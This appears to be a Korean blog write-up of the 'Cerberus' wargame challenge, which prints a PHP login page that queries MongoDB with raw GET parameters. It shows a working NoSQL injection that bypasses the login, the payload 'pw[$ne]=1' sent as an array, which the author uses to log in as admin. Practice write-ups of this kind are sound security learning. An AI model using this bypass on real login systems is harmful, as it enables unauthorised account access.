WriteUp/LOS_rubiya

LOS -rubiya : Cerberus

vared 2020. 5. 21. 19:47

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_cerberus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
  if($result['id'] === "admin") solve("cerberus");
  highlight_file(__FILE__);
?>

문제 DB 바뀌었다. mongodb 사용한다.

NOSQL 이라고한다 -> Non-Relational Operational Database 라고 하는데, SQL 이루어지지 않은 DB라고한다.

NOSQL 특수문자 모음.

 


<해설>

쿼리가 다음과 같이 들어갔으면 좋겠다.

query : {"id":"admin","pw":{"$ne":"1"}}

?id=admin&pw={"$ne":"1"}

encode 옵션 때문에 "  \ 같은 기호가 정상적으로 들어가지 않는다

잘못 생각했다.

pw[$ne]=1 배열 형태로 값을 주면 원하는 대로 들어간다.

 

?id=admin&pw[$ne]=1

 

Clear!